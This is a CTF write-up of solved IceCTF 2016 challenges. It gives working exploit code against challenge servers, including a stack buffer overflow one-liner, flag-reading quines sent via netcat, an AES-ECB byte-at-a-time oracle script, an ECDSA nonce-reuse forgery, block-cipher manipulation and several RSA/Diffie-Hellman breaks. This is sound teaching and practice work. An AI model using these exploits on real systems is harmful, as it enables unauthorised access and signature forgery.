This page contains some of the challenges I solved during IceCTF '16.
These silly bankers have gotten pretty complacent with their self signed SSL certificate.
I wonder if there's anything in there. [complacent.vuln.icec.tf]
I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time.
Let us try the Wayback Machine!
We intercepted this audio signal, it sounds like there could be something hidden in it.
Can you take a look and see if you can find anything?
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web
I have a feeling they were pretty high when they made this website...
We create an account and look at the tokens. There is a jwt_token
, containing
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNEN
FX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s
Let us decode it! Among other things, we get
IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}
They managed to secure their website this time and moved the hashing to the server :(.
We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]
OK, trying the most simple and obvious... reversing the hash works! The password is Vo83*
. If we login as admin
with the password we found, we see:
Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}
##Pwn
I found this awesome premium shell, but my demo version just ran out...
can you help me crack it? /home/demo/ on the shell.
This is probably not the intended solution. Trying to execute _=icesh && ./demo
does not work in zsh
, but it does in sh
. This requires no spoofing for argv[0]
, and thus no execve code. Less work!
[ctf-67751@icectf-shell-2016 /home/demo]$ sh
$ _=icesh && ./demo
$ cat flag.txt
IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}
Do you think you can make this program jump to somewhere it isn't supposed to?
Where we're going we don't need buffers!
/home/profit/ on the shell.
OK, let us go to the shell. Not surprisingly, profit
suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ 0x804850b
which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profit
Smashing the stack for fun and...?
IceCTF{who_would_have_thunk?}
[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' |
25263 segmentation fault ./profit
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
if 'some_file' exists:
c = read('some_file')
c += 1
if c < 19:
print flag with system() call
write('some_file', c)
else:
create('some_file')
write('some_file', 0)
We noticed that the code is located in ./sandbox/[random token]-[time]
, so maybe the flag is ../../flag.txt
. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
const char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};
#include <stdio.h>
int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from ../../flag.txt
it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with IceCTF{
, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
import sys
guess = 'I' # the first char of the flag
length = 1
data = '''};
#include <stdio.h>
int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''
quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess
We call it with
$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500
...
//I
Now this is where things get interesting! The code obviously works for I
, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after //
. So, by setting the read length (length = sys.argv[1]
) sufficiently large, we can submit auto-generated code as follows:
$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500
...
//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501
...
//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}
Great! Two challenges solved with two almost identical quines :-D
##Crypto
John was messing with RSA again... he encrypted our flag! I have a strong feeling
he had no idea what he was doing however, can you get the flag for us? flag.txt
OK, let us see that flag.txt
contains
$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
John used exponent 0x1
, so m is enevitably the same as c. Therefore, solving this challenge is no harder than libnum.n2s(c)
, which prints
IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}
This time John managed to use RSA " correctly "&ellipsis;
I think he still made some mistakes though. flag.txt
Let us take a look...
$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469
We have d (and ϕ), so libnum.n2s(pow(c,d,N))
gives
IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}
I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
Looking up N on factordb.com, we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
phi = (57970027 - 1) * (N / 57970027 - 1)
d = libnum.modular.invmod(e, phi)
print libnum.n2s(pow(c, d, N))
prints
IceCTF{next_time_check_your_keys_arent_factorable}
l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag!
Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
def server(string):
ciphertext = encrypt(string + flag + padding)
return b64encode(ciphertext)
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with AAAAAAAAAAAAAAAA
and where ???...
corresponds to the flag. The last char in the block is the first byte of the flag.
... AAAAAAAAAAAAAAAA? ????????????????
|----------------|-----------------|----------------|
0xb4ff343...
We save the current block value 0xb4ff343...
. Now, we run the guessing procedure:
... AAAAAAAAAAAAAAAAx ????????????????
|----------------|-----------------|----------------|
x = 'G' 0x57388f8...
x = 'H' 0x343409f...
X = 'I' 0xb4ff343... <-- correct guess
Obviously, we can choose a block AAAAAAAAAAAAAAA??
and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
import base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext):
s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001))
s.recv(1024)
s.recv(1024)
s.send(base64.b64encode(magic + plaintext) + '\n')
s.recv(1024)
return base64.b64decode(s.recv(1024))
known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80]
for guess in '_' + string.ascii_letters + string.digits + '}':
if reference == oracle(i * 'A' + known_prefix + guess)[0:80]:
known_prefix = known_prefix + guess
print known_prefix
break
if guess == '}':
print '[+] DONE!'
break
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag
IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}
Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted
We are given a matrix and a ciphertext
secret = [[54, 53, 28, 20, 54, 15, 12, 7],
[32, 14, 24, 5, 63, 12, 50, 52],
[63, 59, 40, 18, 55, 33, 17, 3],
[63, 34, 5, 4, 56, 10, 53, 16],
[35, 43, 45, 53, 12, 42, 35, 37],
[20, 59, 42, 10, 46, 56, 12, 61],
[26, 39, 27, 59, 44, 54, 23, 56],
[32, 31, 56, 47, 31, 2, 29, 41]]
ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
Looks like a Hill cipher... the name vaguely suggests it... :-)
import numpy
from sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")
n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7],
[32, 14, 24, 5, 63, 12, 50, 52],
[63, 59, 40, 18, 55, 33, 17, 3],
[63, 34, 5, 4, 56, 10, 53, 16],
[35, 43, 45, 53, 12, 42, 35, 37],
[20, 59, 42, 10, 46, 56, 12, 61],
[26, 39, 27, 59, 44, 54, 23, 56],
[32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()
ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks:
decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose()
plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block)
print plaintext
Invoked with sage -python over_the_hill.py
gives
IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try factordb.com. It reports that N
is square. OK, great.
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601
c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)
assert(N == x ** 2)
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP factor(x^2 - Mod(c%p,p))
. We now have the square roots
m1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494
m2 = p - m1
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
q = (c - m1 ** 2) / p
l = q * libnum.modular.invmod(2 * m1, p)
m = m1 + l * p
print libnum.n2s(m % N)
Running this, we get the flag
IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}
Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n. Embodied in Python, the attack is performed as follows.
import hashlib, libnum, binascii, socket
from ecdsa import VerifyingKey, SigningKey
def send(message):
s = socket.create_connection(('contract.vuln.icec.tf', 6002))
s.send(message + '\n')
print s.recv(1024)
print s.recv(1024)
return
PUBLIC_KEY = '''
-----BEGIN PUBLIC KEY-----
MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCB
sQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdY
I7sGDvd9eUias/xPdSIL3gMbs26b0Ww0
-----END PUBLIC KEY-----
'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())
n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'
time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'
read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')
msg2, sig2 = time_cmd.split(':')
z1 = int(hashlib.sha256(msg1).hexdigest(), 16)
z2 = int(hashlib.sha256(msg2).hexdigest(), 16)
r1 = int(sig1[0 : len(sig1)/2], 16)
s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)
r2 = int(sig2[0 : len(sig2)/2], 16)
s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % n
d = (s1 * k - z1) * libnum.modular.invmod(r1, n) % n
sk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))
Once run, the server responds
IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}
Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py
The task is to find a ciphertext which decrypts to flag
+ padding.
import socket, base64
def send(commands):
s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003))
s.recv(1024)
print s.recv(1024)
for cmd in commands:
print '>> Sending:', cmd
s.send(cmd + '\n')
data = s.recv(1024).strip('\n')
s.recv(1024)
return data
data = 'flag' + '\x0c' * 0xc
encrypted = send(['decrypt', base64.b64encode(data + data)])
c = base64.b64decode(encrypted)[0:16]
data = send(['secret', base64.b64encode(c + data)])
data = send(['decrypt', data])
print 'FLAG:', base64.b64decode(data)
Running the code, we get
Send me a command:
>> Sending: decrypt
>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=
Send me a command:
>> Sending: secret
>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=
Send me a command:
>> Sending: decrypt
>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=
FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}
We managed to intercept a flag transmission but it was encrypted :(.
We got the Diffie-Hellman public key exchange parameters and some
scripts they used for the transmission along with the encrypted flag.
Can you get it for us?
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
import base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9
g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2f
A=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7
B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}
S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds
table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18):
B = (B * g) % p
if B in table:
print ' >> B = g ^', table[B] - i
S = pow(A, table[B] - i, p)
break
print '[+] Key found:\n\n', base36.dumps(S), '\n'
I saved the code as hellman.py
and did the following terminal magic:
$ python hellman.py
[-] Generating table...
[-] Performing look-up in table...
>> B = g ^ 4856995548
[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txt
enter aes-256-cbc decryption password: [key]
$ cat flag.txt
IceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}
Great :-)
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job.